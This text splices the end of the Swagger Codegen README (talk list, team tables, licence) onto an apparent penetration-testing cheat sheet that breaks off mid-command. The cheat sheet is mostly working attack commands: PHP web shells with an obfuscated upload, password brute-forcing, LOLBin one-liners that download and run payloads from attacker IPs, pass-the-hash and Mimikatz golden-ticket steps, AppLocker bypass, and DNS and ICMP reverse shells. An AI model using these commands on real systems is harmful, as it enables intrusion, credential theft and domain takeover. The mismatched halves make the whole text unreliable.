- [Bringing Jenkins Remote Access API To The Masses](http://blog.cliffano.com/2017/09/01/jenkins-world-2017/) by [Cliffano Subagio](http://cliffano.com) from [Shine Solutions](https://shinesolutions.com/) @ [Jenkins World 2017](https://jenkinsworld20162017.sched.com/) - 2017/09/08 - [Swagger Codegen で自動生成したクライアントSDKを使う(iOS編)](http://blog.techium.jp/entry/2017/09/08/071650) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [Swagger Codegen で自動生成したクライアントSDKを使う(RxSwift 編)](http://blog.techium.jp/entry/2017/09/09/113003) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [OpenAPIを利用したPythonWebアプリケーション開発](https://www.slideshare.net/TakuroWada/openapipythonweb) by [和田拓朗](https://github.com/taxpon) at [PyCon JP 2017](https://pycon.jp/2017/ja/) - 2017/09/21 - [Generating an Elastic Cloud Enterprise Client](https://www.elastic.co/blog/generating-an-elastic-cloud-enterprise-client) by [Greg Marzouka](https://github.com/gmarz) ([Elastic](https://www.elastic.co/)) - 2017/09/26 - [How to Use IoT Application Enablement Api Hub JSON Descriptor in Postman and How to Generate Client Code](https://www.linkedin.com/in/radu-simen/) by [Radu Simen](https://www.linkedin.com/in/radu-simen/) ([SAP](https://www.sap.com/)) - 2017/09/28 - [Swagger Codegenで APIクライアントgem 自動生成 #m3kt](https://speakerdeck.com/juntaki/swagger-codegende-apikuraiantogem-zi-dong-sheng-cheng-number-m3kt) by [Jumpei Takiyasu](https://github.com/juntaki) - 2017/09/30 - [Swaggerのテンプレートを魔改造した話 #渋谷java](https://www.slideshare.net/int128/swagger-80309224) by [Hidetake Iwata](https://github.com/int128) ([NTT DATA Corporation](http://www.nttdata.com/global/en/)) - 2017/10/04 - [Enterprise-friendly Java client for Microsoft Machine Learning Server](https://blogs.msdn.microsoft.com/mlserver/2017/10/04/enterprise-friendly-java-client-for-microsoft-machine-learning-server/) by [Pratik Palnitkar](https://www.linkedin.com/in/pratikpalnitkar/) ([Microsoft](https://www.microsoft.com/)) - 2017/10/08 - [Generating a REST Ada client with OpenAPI and Swagger Codegen](https://blog.vacs.fr/vacs/blogs/post.html?post=2017/10/08/Generating-a-REST-Ada-client-with-OpenAPI-and-Swagger-Codegen) by [Stephane Carrez](https://github.com/stcarrez) - 2017/11/08 - [A Beginner's Guide to Code Generation for REST APIs](https://gum.co/swagger_codegen_beginner)(eBook) by [William Cheng](https://twitter.com/wing328) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | Kotlin | @jimschubert (2016/05/01) | | NodeJS/Javascript | @xhh (2016/05/01) | | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | Java Play Framework | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsun (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | | Scala Finch | @jimschubert (2017/01/28) | ## Template Creator Here is a list of template creators: * API Clients: * Ada: @stcarrez * Akka-Scala: @cchafer * Apex: @asnelling * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * C# (.NET Standard 1.3 ): @Gronsak * C# (.NET 4.5 refactored): @jimschubert * Clojure: @xhh * Dart: @yissachar * Elixir: @niku * Eiffel: @jvelilla * Erlang: @tsloughter * Groovy: @victorgit * Go: @wing328 * Go (rewritten in 2.3.0): @antihax * Haskell (http-client): @jonschoning * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofit2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Java (RestTemplate): @nbruno * Java (RESTEasy): @gayathrigs * Java (Vertx): @lopesmcc * Java (Google APIs Client Library): @charlescapps * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter: @davidkiss * Kotlin: @jimschubert * Lua: @daurnimator * Perl: @wing328 * PHP (Guzzle): @baartosz * PowerShell: @beatcracker * R: @ramnov * Rust: @farcaller * Rust (rust-server): @metaswitch * Scala (scalaz & http4s): @tbrown1979 * Swift: @tkqubo * Swift 3: @hexelon * Swift 4: @ehyche * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * TypeScript (jQuery): @bherila * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * C++ Pistache: @sebymiano * C++ Restbed: @stkrwork * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * Java Play Framework: @JFCote * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * PHP Lumen: @abcsun * PHP Slim: @jfastnacht * PHP Symfony: @ksm2 * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Rust (rust-server): @metaswitch * Scala Finch: @jimschubert * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock * Configuration * Apache2: @stkrwork ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Technical Committee Members of the Swagger Codegen technical committee shoulder the following responsibilities: - Provides guidance and direction to other users - Reviews pull requests and issues - Improves the generator by making enhancements, fixing bugs or updating documentations - Sets the technical direction of the generator Who is eligible? Those who want to join must have at least 3 PRs merged into a generator. (Exceptions can be granted to template creators or contributors who have made a lot of code changes with less than 3 merged PRs) If you want to join the committee, please kindly apply by sending an email to [email protected] ([@wing328](https://github.com/wing328)) with your Github ID. ## Members of Technical Committee | Languages | Member (join date) | |:-------------|:-------------| | ActionScript | | | Android | @jaz-ah (2017/09) | | Apex | | | Bash | @frol (2017/07) @bkryza (2017/08) @kenjones-cisco (2017/09) | | C++ | @ravinikam (2017/07) @stkrwork (2017/07) | | C# | @mandrean (2017/08) @jimschubert (2017/09) | | Clojure | | | Dart | @ircecho (2017/07) | | Eiffel | @jvelilla (2017/09) | | Elixir | | | Erlang | | | Groovy | | | Go | | | Haskell | | | Java | @bbdouglas (2017/07) @JFCote (2017/08) @sreeshas (2017/08) @jfiala (2017/08) @lukoyanov (2017/09) @cbornet (2017/09) | | Kotlin | @jimschubert (2017/09) | | Lua | @daurnimator (2017/08) | | NodeJS/Javascript | @CodeNinjai (2017/07) @frol (2017/07) @cliffano (2017/07) | | ObjC | | | Perl | @wing328 (2017/07) | | PHP | @jebentier (2017/07) @dkarlovi (2017/07) @mandrean (2017/08) @jfastnacht (2017/09) @ackintosh (2017/09) | | Python | @taxpon (2017/07) @frol (2017/07) @mbohlool (2017/07) @cbornet (2017/09) @kenjones-cisco (2017/11)| | R | | | Ruby | @cliffano (2017/07) @zlx (2017/09) | | Rust | @frol (2017/07) @farcaller (2017/08) | | Scala | @clasnake (2017/07) @jimschubert (2017/09) | | Swift | @jgavris (2017/07) @ehyche (2017/08) @Edubits (2017/09) @jaz-ah (2017/09) | | TypeScript | @TiFu (2017/07) @taxpon (2017/07) @sebastianhaas (2017/07) @kenisteward (2017/07) @Vrolijkx (2017/09) | # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2017 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
<b>Table of Contents</b> - [Enumeration](#enumeration) * [Generic Enumeration](#genumeration) * [HTTP Enumeration](#httpenumeration) * [SSH Enumeration](#sshenumeration) * [SMB Enumeraion](#smbenumeration) * [SNMP Enumeration](#snmpenumeration) - [Explotation](#explotation) * [BOF Based Exploits](#bof) * [Weak Credentials](#weakcreds) * [HTTP Bruteforce](#httpbrute) * [Password Cracking](#passcrack) * [RCE](#rce) * [PHP RCE](#phprce) * [RCE via webshell](#rcewebshell) * [RCE WMIC (powershellless)](#rcewmic) * [LOLBins](#lolbins) - [Privilege Escalation](#privesc) * [Linux](#linux) * [Windows](#windows) * [Kernel Exploits](#kernel) - [Tunneling & Port Forwarding](#tunneling) * [SSH over TCP](#sshovertcp) * [TCP over HTTP](#tcpoverhttp) * [1. reGeorg](#regeorg) * [2. ABPTTS](#abptts) * [HTTP Redirectors](#httpredirectors) * [1. socat](#socatred) * [2. iptables](#iptablesred) * [Windows Socks Proxy](#windowsocks) * [Man's poor VPN](#poor) - [Windows Active Directory](#windowsad) * [Bypass Applocker](#applocker) * [Pass The Hash](#pth) * [Kerberos](#krb) * [Miscellaneous](#miscwin) - [Reverse Shells](#revshells) * [DNS with dnscat2](#dns) * [ICMP](#icmp) * [HTTP through proxy](#httpproxy) - [Miscellaneous](#misc) * [Interactive Reverse Shell](#interactiveshell) * [rbash Jail Escape](#jailescape) * [Windows File Transfer](#windowstransfer) * [Bypass VPN routing restrictions](#vpnrestrict) * [AV Bypass](#avbypass) --- <a name="enumeration"></a><h2> Enumeration </h2> <a name="genumeration"></a><h3>Generic Enumeration</h3> - port fullscan - UDP scan <a name="httpenumeration"></a><h3> HTTP Enumeration</h3> - dirsearch big.txt -e sh,txt,htm,php,cgi,html,pl,bak,old - banner inspection - review source code - bruteforce with cewl-based dictionary - searchsploit look at versions properly - test all the paths with the exploits, mangle it - nmap --script vuln - nmap --script safe (ssl-cert, virtual hosts) - always incercept with Burp - nikto -h - LFI, RFI, SQL, RCE, XXE, SSRF injections - PUT method all directories - Change POST body encoding with Burp - Bruteforce parameter names - dirsearch with cookie once authenticated - download vulnerable application from exploit-db and examine it <a name="sshenumeration"></a><h3>SSH Enumeration</h3> - shellshock - bruteforce - user_enum - Debian OpenSSL Predictable PRNG <a name="smbenumeration"></a><h3>SMB Enumeration</h3> - nmap --script vuln - nmap --script smb* - nmap --script smb-enum-shares,smb-ls - enum4linux <a name="snmpenumeration"><h3> SNMP Enumeration</h3> - snmpcheck - snmpenum <a name="explotation"></a><h2> Explotation </h2> <a name="bof"></a><h3> BOF exploit-based </h3> - change shellcode - make sure all badchars are removed - read the exploit properly in case this makes changes in the shellcode - capture traffic with wireshark making sure the entire shellcode is transmited - run the exploit several times - make sure the JMP ESP matches OS and language <a name="weakcreds"></a><h3> Weak Credentials </h3> <a name="httpbrute"></a><b> HTTP Brute Force </b> - wfuzz POST ```wfuzz --hc 404 -c -z list,admin -z file,/root/Documents/SecLists/Passwords/korelogic-password.txt -d "user=FUZZ&password=FUZ2Z" http://192.168.30.161/admin/index.php``` - hydra POST ```hydra 192.168.30.161 -s 80 http-form-post "/admin/index.php:user=^USER^&password=^PASS^:Moved Temporarily" -l admin -P /root/Documents/SecLists/Passwords/korelogic-password.txt -t 20``` - wfuzz NTLM ```wfuzz -c --ntlm "admin:FUZZ" -z file,/root/Documents/SecLists/Passwords/darkc0de.txt --hc 401 https://<ip>/api``` - wfuzz Basic Auth through Proxy ```wfuzz -c --hc 404,400,401 -z file,/root/Documents/Audits/Activos/names.txt -z file,/root/Documents/Audits/Activos/names.txt --basic "FUZZ:FUZ2Z" -p 127.0.0.1:8080 https://<ip>/api/v1/``` <a name="passcrack"></a><b> Password Cracking </b> - zip `fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip ` - /etc/shadow <pre> unshadow passwd shadow > passwords john --wordlist=/usr/share/wordlists/rockyou.txt passwords </pre> - keepass <pre> keepass2john /root/Desktop/NewDatabase.kdb > file john -incremental:alpha -format=keepass file </pre> - Bruteforce Salted <pre> for j in $(cat cipher); do echo $j; for i in $(cat digestion); do /root/Documents/HTB/Hawk/bruteforce-salted-openssl/bruteforce-salted-openssl -t 10 -f /usr/share/wordlists/rockyou.txt -c $j -d $i ../miau.txt -1 2>&1 | grep "candidate" ; done ; done </pre> <pre>openssl aes-256-cbc -d -in ../miau.txt -out result.txt -k friends</pre> <a name="rce"></a><h2> RCE </h2> <a name="phprce"></a><h3>PHP RCE</h3> test: ```<?php phpinfo(); ?>``` simple shell: ```<?php system($_GET["c"]); ?>``` ```<?php `$_GET["c"]`; ?>``` file upload: ```<?php file_put_contents('/var/www/html/uploads/test.php', '<?php system($_GET["c"]);?>'); ?>``` file upload evasion: rot13 + urlencode ```<?php $payload="%3C%3Fcuc%20flfgrz%28%24_TRG%5Bp%5D%29%3B%3F%3E"; file_put_contents('/var/www/html/uploads/test8.php', str_rot13(urldecode($payload))); ?>``` <a name="rcewebshell"></a><h3>RCE via webshell</h3> - All pentest monkey reverse shells: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet - msfvenom x86/linux/shell_reverse_tcp -f elf - Metasploit `web_delivery` module - which wget | nc <ip> <port> <a name="rcewmic"></a><h3>RCE via WMIC</h3> Powershell without powershell: Generate payload with web_delivery ![powershellless1](https://user-images.githubusercontent.com/7115563/40374533-8da00e10-5de9-11e8-888e-3b1eaccb28b0.png) Encode Payload ![powershellless2](https://user-images.githubusercontent.com/7115563/40374540-908e0ca8-5de9-11e8-9002-5f03193b10a5.png) Include payload in xsl file ![powershellless3](https://user-images.githubusercontent.com/7115563/40374546-92dcda84-5de9-11e8-99c8-9066ae129644.png) <pre>wmic process get brief /format:"https://raw.githubusercontent.com/adon90/pentest_compilation/master/nops.xsl"</pre> ![powershellless4](https://user-images.githubusercontent.com/7115563/40375266-73770028-5deb-11e8-92da-952692727bec.png) <a name="lolbins"></a><h3>LOLBINS</h3> <b>SyncAppvPublishingServer</b> <pre>SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://192.168.48.129:8000/reverse.ps1') | IEX"</pre> ![lolbin1](https://user-images.githubusercontent.com/7115563/40776727-ee904d00-64cb-11e8-8921-407581b13edf.png) <b>rundll32</b> <pre>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("regsvr32 /s /n /u /i:http://192.168.48.130:8080/bhRxgASz0.sct scrobj.dll")</pre> <a name="privesc"></a><h2> Privilege Escalation</h2> <a name="linux"></a><h3> Linux Privilege Escalation </h3> - sudo -l - Kernel Exploits - OS Exploits - Password reuse (mysql, .bash_history, 000-default.conf...) - Known binaries with suid flag and interactive (nmap) - Custom binaries with suid flag either using other binaries or with command execution - Writable files owned by root that get executed (cronjobs) - MySQL as root - Vulnerable services (chkrootkit, logrotate) - Writable /etc/passwd - Readable .bash_history - SSH private key - Listening ports on localhost - /etc/fstab - /etc/exports - /var/mail - Process as other user (root) executing something you have permissions to modify - SSH public key + Predictable PRNG - apt update hooking (Pre-Invoke) - Capabilities <a name="windows"></a><h3> Windows Privilege Escalation </h3> - Kernel Exploits - OS Exploits - Pass The Hash - Password reuse - DLL hijacking (Path) - Vulnerable services - Writable services binaries path - Unquoted services - Listening ports on localhost - Registry keys <a name="kernel"></a><h3> Kernel Exploits </h3> Linux: https://github.com/lucyoa/kernel-exploits Windows: https://github.com/abatchy17/WindowsExploits <a name="tunneling"></a><h2>Tunneling & Port Forwarding</h2> <a name="sshovertcp"></a><h3>SSH over HTTP (Squid)</h3> <b> socat </b> <pre>socat TCP-L:9999,fork,reuseaddr PROXY:192.168.1.41:127.0.0.1:22,proxyport=3128 ssh [email protected] -p 9999</pre> <b>proxytunnel </b> <pre>proxytunnel -p 192.168.1.41:3128 -d 127.0.0.1:22 -a 5555 ssh [email protected] -p 5555</pre> <b>proxychains </b> <pre>http 192.168.1.41 3128 proxychains ssh [email protected]</pre> ![proxychains](https://user-images.githubusercontent.com/7115563/33822522-1e15dbee-de58-11e7-9953-3da8ff684cfc.png) <b>corkscrew </b> <pre>ssh [email protected] -t /bin/sh</pre> ![cork](https://user-images.githubusercontent.com/7115563/33822672-b92a51f0-de58-11e7-9936-06056b7903b8.png) <a name="tcpoverhttp"></a><h3> TCP over HTTP </h3> For this technique, it is necessary to be able to upload a file to a webserver. <a name="regeorg"><b> 1. reGeorg </b> File upload to the server correct ![regeorge2](https://user-images.githubusercontent.com/7115563/33883424-028c9f0e-df3c-11e7-9559-b35667ae76db.png) Tunnel creation `python reGeorgSocksProxy.py -p 5555 -u "http://<ip>/admin/uploads/reGeorg.jsp"` Proxychains config ![regeorge1](https://user-images.githubusercontent.com/7115563/33883419-fcc15416-df3b-11e7-89a9-499ffc1de9cf.png) <pre> proxychains nmap -F -sT 127.0.0.1 proxychains mysql -u root -p -h 127.0.0.1 proxychains ssh localhost </pre> ![regeorge3](https://user-images.githubusercontent.com/7115563/33883422-017021fe-df3c-11e7-8f99-f02de5084c02.png) Reference: https://sensepost.com/discover/tools/reGeorg/ <a name="abptts"><b> 2. ABBTTS </b> Upload File ![abbtts5](https://user-images.githubusercontent.com/7115563/33883774-6d249ffa-df3d-11e7-9f3f-68bf1e70465f.png) Config proxychains and create the tunnel ```python abpttsclient.py -c tomcat_walkthrough/config.txt -u http://192.168.1.128/abptts.jsp -f 127.0.0.1:22222/127.0.0.1:22``` Usage ```ssh -p 22222 [email protected]``` ![abbtts7](https://user-images.githubusercontent.com/7115563/33883891-dc2f3c70-df3d-11e7-84e9-ebd9eab9ebee.png) Reference: https://github.com/nccgroup/ABPTTS <a name="httpredirectors"><h3>HTTP Redirectors</h3> <a name="socatred"><b> 1. socat </b> <pre>socat TCP4-LISTEN:80,fork TCP4:REMOTE-HOST-IP-ADDRESS:80</pre> ![socatt](https://user-images.githubusercontent.com/7115563/42031184-a8b3deee-7ad5-11e8-96ae-9b38bfe82df2.png) <a name="iptablesred"><b> 2. iptables </b> <pre>iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination REMOTEADDR:80 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward=1</pre> ![iptables](https://user-images.githubusercontent.com/7115563/41294963-97cc925c-6e59-11e8-8adf-8db85f6ffaf2.png) <a name="windowsocks"></a><h3> Windows Socks Proxy </h3> In this case this is going to be used to access Burp listening on a Windows NATed VM from other PCs in the same network as the Windows Host. From the Windows Host machine (IP: 192.168.1.206) <pre> Import-Module .\Invoke-SocksProxy.psm1 Invoke-SocksProxy -bindPort 1234 </pre> ![invokesocks](https://user-images.githubusercontent.com/7115563/49870467-b63bb480-fe13-11e8-807d-8422e5837b58.png) From other PC on the Windows Host machine network (IP: 192.168.1.69) Configure `proxychains.conf`: <pre> socks4 192.168.1.206 1234 </pre> <pre>proxychains socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.48.158:8080</pre> This command ahead makes Burp (which is listening on the NATed machine) accessible from 192.168.1.69 on port 8081 Now, configure the Proxy in the browser: ![proxyconf](https://user-images.githubusercontent.com/7115563/49870450-aae88900-fe13-11e8-8c95-4208f20cd8ec.png) All the traffic is logged on the NATed machine Burp. Reference: https://github.com/p3nt4/Invoke-SocksProxy <b> Chisel </b> Attacker <pre> ./chisel_1.7.1_linux_amd64 server -p 8000 --reverse </pre> Victim <pre> .\chisel.exe client 37.187.112.19:8000 R:socks </pre> Attacker <pre> proxychains nmap -sT --top-ports --open 10 127.0.0.1 </pre> ![chisel](https://user-images.githubusercontent.com/7115563/127473605-6158c455-6d43-4e88-876c-d91422771bd6.png) References: https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html <a name="poor"></a><h3> Man's Poor VPN </h3> Traffic forward over SSH without needing to ```ssh -D <port>``` <pre>sshuttle -vr [email protected] 1X0.1X.0.0/16</pre> ![sshuttle](https://user-images.githubusercontent.com/7115563/42047219-02a13b70-7b00-11e8-9686-8bf2f44bee81.png) Proof: ![mantis2](https://user-images.githubusercontent.com/7115563/34785499-a0e7d838-f631-11e7-869f-d6fcdc1051e9.png) Reference: http://teohm.com/blog/using-sshuttle-in-daily-work/ <a name="windowsad"></a><h2> Windows AD Environment </h2> <a name="applocker"></a><h3> Bypass Applocker </h3> <b>1. rundll32</b> ```rundll32.exe PowerShdll.dll,main``` ![applocker](https://user-images.githubusercontent.com/7115563/34455568-dfe7d7c6-ed81-11e7-9869-de2d4e92f3aa.png) Reference: https://github.com/p3nt4/PowerShdll <b>2. Alternative powershell files</b> ![applocker2](https://user-images.githubusercontent.com/7115563/34455569-e0136c6a-ed81-11e7-9b0e-127ae9d395e0.png) ```C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise``` <a name="pth"></a> <h3> Pass The Hash </h3> <b> Invoke a command Remotely </b> <pre>IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1') Invoke-WMIExec -Target SVHOST2 -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell whoami | out-file \\SVHOST2\C$\windows\bitch.txt" </pre> <b> Invoke Mimikatz Remotely </b> <pre>Invoke-WMIExec -Target SVHOST2 -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell -Enc SQBFA...AoA"</pre> ![image](https://user-images.githubusercontent.com/7115563/34455757-1f6aed1c-ed86-11e7-9415-595fa5e8d6e7.png) <b> Pass The Hash with Mimikatz </b> <pre> Invoke-Mimikatz -Command '"sekurlsa::pth /user:adm_maint /ntlm:cbe55f143fcb6d4687583af520123b89 /domain:lazuli"'</pre> <a name="krb"></a><h3> Kerberos </h3> <b> Generate Golden Ticket (Domain Admin Required) </b> <pre>Invoke-Mimikatz -Command '"lsadump::dcsync /domain:LAZULI.CORP /user:krbtgt"'</pre> ![image](https://user-images.githubusercontent.com/7115563/34455725-7230ee30-ed85-11e7-9333-16372355ce60.png) ![image](https://user-images.githubusercontent.com/7115563/34455734-89934d5c-ed85-11e7-960e-9659e099c9df.png) <pre>Invoke-Mimikatz -Command '"kerberos::golden /user:adon /domain:LAZULI.CORP /krbtgt:ca1c2aeda9160094be9971bdc21c50aa /sid:S-1-5-21-1238634245-2147606590-2801756923 /id:500 /ticket:admin.kirbi /ptt"</pre> ![image](https://user-images.githubusercontent.com/7115563/34455745-9edd0360-ed85-11e7-84f0-6d62e621613b.png) <pre>Invoke-Mimikatz -Command '"kerberos::ptt admin.kirbi"'</pre> ![image](https://user-images.githubusercontent.com/7115563/34455747-b285372a-ed85-11e7-9374-c481108db77e.png) ![image](https://user-images.githubusercontent.com/7115563/34455748-bb0512c6-ed85-11e7-8d40-b6516cf8b0f3.png) <a name="miscwin"></a><h3> Miscellaneous </h3> <b> Invoke Mimikatz </b> <pre>IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz</pre> <b> Mimikatz C# </b> <pre>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /unsafe katz.cs</pre> https://gist.github.com/caseysmithrc/87f6572547f633f13a8482a0c91fb7b7 In case compiler is outdated: <pre>nuget install Microsoft.Net.Compilers</pre> <b> Runas Powershell </b> ```Start-Process powershell.exe -Verb runas``` ```Start-Process powershell.exe -Credential <user>``` <b> View Shares With Permissions </b> <pre>powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Invoke-ShareFinder -CheckShareAccess"</pre> ![image](https://user-images.githubusercontent.com/7115563/34455620-34f292b4-ed83-11e7-92b0-3b8dd387146f.png) <b> View files that contain certain words recursively </b> <pre> ls -Path \\SVHOST1.LAZULI.CORP\tmp$ -Include "*pass*","* admin*","*secret*" -Recurse -ErrorAction SilentlyContinue</pre> ![image](https://user-images.githubusercontent.com/7115563/34455641-aa03adf4-ed83-11e7-8333-a69366714921.png) <b> View files which name contains certain words recursively </b> <pre>dir -Path \\SVHOST1.LAZULI.CORP -Include "*pass*","*admin*","*secret*" -Recurse -ErrorAction SilentlyContinue</pre> ![image](https://user-images.githubusercontent.com/7115563/34455649-dcc941ea-ed83-11e7-9428-a702f254e807.png) <b> Connect to MSSQL Database </b> <pre>IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/michaellwest/PowerShell-Modules/master/CorpApps/Invoke-SqlCommand.ps1') Invoke-SqlCommand -Server 172.11.14.89 -Database master -Username sa -Password <password> -Query "exec sp_databases" </pre> <b> Port Scanning </b> <pre>IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1') Invoke-Portscan -Hosts [ip] -TopPorts 50</pre> ![image](https://user-images.githubusercontent.com/7115563/34455679-6e630230-ed84-11e7-995e-2eea1a6fc8dc.png) <b> View Domain Admins </b> <pre> net groups /domain "Domain Admins"</pre> ![image](https://user-images.githubusercontent.com/7115563/34455690-9e648d78-ed84-11e7-9a84-9b335530a31e.png) <b> View Domain Controlers </b> <pre>nltest /dclist:<domain> </pre> ![image](https://user-images.githubusercontent.com/7115563/34455698-d1504074-ed84-11e7-85ad-c4bb196c9d44.png) <b> Get Hashes </b> <pre>IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes</pre> ![image](https://user-images.githubusercontent.com/7115563/34455769-66cb31bc-ed86-11e7-846e-090647d8e32f.png) <b> Check Pass The Hash with multiple servers</b> <pre>$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVHOST2.LAZULI.CORP","SVFILES2.LAZULI.CORP") foreach ($h in $hosts){ Invoke-WMIExec -Target $h -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "hostname" -Verbose } </pre> ![image](https://user-images.githubusercontent.com/7115563/34455798-0bdc77ec-ed87-11e7-9504-6b9ec6fc2a8d.png) <b> Run web_delivery with other identity </b> <pre> runas-cabesha-webdelivery -url [url_webdelivery] -user [url] -pass [pass] </pre> ![cabesha](https://user-images.githubusercontent.com/7115563/42811084-e286eb5a-89b9-11e8-8ec8-b0b8c3980774.jpg) References: https://www.hacklikeapornstar.com/ <a name="revshells"></a><h2> Reverse Shells </h2> <a name="dns"></a><h3> Reverse DNS Shell with dnscat powershell </h3> <b> Server </b> <pre>ruby dnscat2.rb -e open --no-cache tunnel.domain.com</pre> <b> Client </b> <pre>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain tunnel.domain.com -DNSServer 8.8.4.4 </pre> ![dns](https://user-images.githubusercontent.com/7115563/35040679-5a155bfa-fb82-11e7-98ec-ba015e3ad69c.png) Reference: https://github.com/lukebaggett/dnscat2-powershell <a name="icmp"></a><h3> Reverse ICMP shell </h3> <b> Server </b> <pre> sysctl -w net.ipv4.icmp_echo_ignore_all=1 python icmpsh_m.py [IP atacante] [IP victima] </pre> <b> Client </b> <pre>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1'); Invoke-PowerShellIcmp -IPAddress [IP atacante]</pre> ![icmpreverseshell](https://user-images.githubusercontent.com/7115563/35213289-6ac51b00-ff5d-11e7-9b66-766af2aaf92e.png) <b> Native ICMP shell </b> <pre> powershell -nop -Command "$IP = 